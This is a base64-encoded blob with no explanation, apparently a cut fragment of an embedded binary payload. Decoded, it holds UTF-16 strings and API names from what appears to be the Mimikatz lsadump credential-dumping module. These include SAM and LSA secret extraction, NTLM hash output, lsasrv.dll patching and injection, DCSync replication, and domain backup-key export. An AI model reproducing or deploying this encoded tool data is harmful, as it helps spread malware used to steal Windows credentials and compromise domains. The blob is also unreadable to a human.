AAlADAAMwB1AAAAAABKAEQAAAAAAAAAAABTAGsAZQB3ADEAAAAAAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAJQBzAAoAAABTAHkAcwBLAGUAeQAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAABWAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAAAAAAAAVQBzAGUAcgBzAAAAAAAAAE4AYQBtAGUAcwAAAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AVABMAE0AAAAAAAAAAABMAE0AIAAgAAAAAAAAAAAAJQBzACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAEgAYQBzAGgAIABzAGkAegBlACAAJQB1ACAAIQA9ACAAJQB1AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABVAG4AawBuAG8AdwAgAFMAQQBNAF8ASABBAFMASAAgAHIAZQB2AGkAcwBpAG8AbgAgACgAJQBoAHUAKQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABGAAAAAAAAAAAAAAAAAAAARQBSAFIAT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ABlACAAKAAyACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACgAMQApACEACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQAuACoAcwAAAAAAAAAAAHQAZQB4AHQAOgAgACUAdwBaAAAAAAAAAGgAZQB4ACAAOgAgAAAAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAAAAAAAAoAIAAgACAAIABOAFQATABNADoAAAAAAAoAIAAgACAAIABTAEgAQQAxADoAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAAAAAAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AFMAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABzAGEAbQBzAHIAdgAuAGQAbABsAAAAAABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAAAAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAAAAAAFNhbUlDb25uZWN0AAAAAABTYW1yQ2xvc2VIYW5kbGUAU2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxzAABTYW1yT3BlbkRvbWFpbgAAU2Ftck9wZW5Vc2VyAAAAAFNhbXJRdWVyeUluZm9ybWF0aW9uVXNlcgAAAAAAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAAAAAAAATHNhSUZyZWVfTFNBUFJfUE9MSUNZX0lORk9STUFUSU9OAAAAAAAAAFZpcnR1YWxBbGxvYwAAAABtZW1jcHkAAHAAYQB0AGMAaAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGkAbgBqAGUAYwB0AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEQAbwBtAGEAaQBuACAAOgAgACUAdwBaACAALwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAAAAAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAKAAAAAAAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAAAAAABXAEQAaQBnAGUAcwB0AAAASwBlAHIAYgBlAHIAbwBzAAAAAAAAAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAE4AVABMAE0ALQBTAHQAcgBvAG4AZwAtAE4AVABPAFcARgAAAAAAAAAgACAAIAAgAEwATQAgACAAIAA6ACAAAAAKACAAIAAgACAATgBUAEwATQAgADoAIAAAAAAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAAAAAACAAIAAgACAAJQAwADIAdQAgACAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKAAAAAAAAAAAAQwByAGUAZABlAG4AdABpAGEAbABzAAAATwBsAGQAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABJAHQAZQByAGEAdABpAG8AbgBzACAAOgAgACUAdQAKAAAAAAAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAAAAgACAAIAAgAFIAYQBuAGQAbwBtACAAVgBhAGwAdQBlACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAAAAAAAE4ATwBOAEUAIAAgACAAAABOAFQANABPAFcARgAgAAAAQwBMAEUAQQBSACAAIAAAAFYARQBSAFMASQBPAE4AAAAgAFsAJQBzAF0AIAAlAHcAWgAgAC0APgAgACUAdwBaAAoAAAAAAAAAIAAgACAAIAAqACAAAAAAAHUAbgBrAG4AbwB3AG4APwAAAAAAAAAAACAALQAgACUAcwAgAC0AIAAAAAAAAAAAAC0AIAAlAHUAIAAtACAAAABsAHMAYQBkAGIALgBkAGwAbAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgBDAHUAcgByAGUAbgB0ACAAZABvAG0AYQBpAG4AOgAgACUAdwBaACAAKAAlAHcAWgAAAAAAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAAAAAAIAAgAEkAbgAgAAAAAAAAACAATwB1AHQAIAAAAAAAAAAgAEkAbgAtADEAAAAAAAAATwB1AHQALQAxAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAFEAdQBlAHIAeQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAEkAbgBmAG8AQgB5AE4AYQBtAGUAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAAAAAAG4AdABkAHMAAAAAAAAAAAAJAFAARgBYACAAYwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAAAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABrAGUAeQAAAGwAZQBnAGEAYwB5AAAAAAAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAAAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAeQBGAHIAbwBtAEcAVQBJAEQAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAHMAZQBjAHIAZQB0AAAAAAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkACAARwBVAEkARAAgACgAMAB4ACUAMAA4AHgAKQAgADsAIAAlAHMACgAAAAoAQwB1AHIAcgBlAG4AdAAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAgACAAIAAgACAAIAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcgBwAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAGsAZABjAAAAWwBEAEMAXQAgAE8AYgBqAGUAYwB0ACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAnACUAcwAnAAoAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHUAcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoAAABsAGQAYQBwAAAAAAAAAAAAbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAAAAAAAAAAAAAAAAAAAAAAFsARABDAF0AIABtAHMALQBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoACAAaQBzADoAIAAlAHUACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABSAFMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMALAAgAGkAbgB2AGEAbABpAGQAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIABhAG4AZAAvAG8AcgAgAGMATgB1AG0ATwBiAGoAZQBjAHQAcwAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAdQBzAGUAcgAgAG8AcgAgAGcAdQBpAGQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQALAAgAG8AcgAgAGQAbwBlAHMAbgAnAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAACUAcwAlAC4AKgBzACUAcwAAAAAAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAAoATwBiAGoAZQBjAHQAIABSAEQATgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBDAFIASQBQAFQAAAAAAEEAQwBDAE8AVQBOAFQARABJAFMAQQBCAEwARQAAAAAAMAB4ADQAIAA/AAAAAAAAAEgATwBNAEUARABJAFIAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAAAAAABMAE8AQwBLAE8AVQBUAAAAUABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAAAAAABQAEEAUwBTAFcARABfAEMAQQBOAFQAXwBDAEgAQQBOAEcARQAAA